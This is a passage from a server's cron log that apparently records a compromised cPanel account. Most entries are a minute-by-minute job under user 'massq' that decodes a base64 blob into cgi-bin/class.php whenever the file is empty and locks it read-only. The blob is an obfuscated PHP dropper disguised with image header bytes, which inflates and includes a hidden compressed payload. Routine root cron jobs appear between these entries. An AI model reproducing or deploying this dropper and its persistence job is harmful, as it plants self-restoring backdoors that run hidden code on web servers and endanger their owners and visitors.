mLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:32:01 server CROND[21292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:33:01 server CROND[21367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:34:01 server CROND[21418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:35:01 server CROND[21478]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 09:35:01 server CROND[21479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:35:01 server CROND[21477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 09:35:01 server CROND[21480]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 09:35:01 server CROND[21481]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 09:36:01 server CROND[21698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:37:01 server CROND[21749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:38:01 server CROND[21810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:39:01 server CROND[21906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:39:01 server CROND[21907]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 09:40:01 server CROND[21964]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 09:40:01 server CROND[21965]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 09:40:01 server CROND[21966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:40:01 server CROND[21967]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 09:41:01 server CROND[22171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:42:01 server CROND[22240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:42:01 server CROND[22241]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 09:43:01 server CROND[22320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:44:01 server CROND[22371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:45:01 server CROND[22439]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
